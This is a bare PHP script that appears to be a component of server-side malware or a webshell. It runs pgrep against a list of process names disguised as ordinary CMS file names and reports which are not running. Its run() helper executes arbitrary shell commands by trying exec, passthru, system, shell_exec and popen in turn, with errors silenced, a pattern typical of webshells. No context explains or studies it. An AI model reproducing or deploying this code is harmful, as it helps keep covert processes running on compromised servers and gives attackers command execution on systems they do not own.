<?php   $files = ['ZipPoster','system_blocks','mod_gallery2','album_thumbnail','add_new_case','default_edit','gradeimport_csv','user_actions','Generator','gallery.lang_fa','newsfeeds','view.archive','activate','AddBaseName','cp_functions','miniprova','formatting','busca_arqs','phocagalleryra','video.inc','admin.newsfeeds','comment_reply','InputFilter','reminders','modifier.replace','edit.writer','xml_domit_xpath','js_escape.lib','data_bots','patErrorManager']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }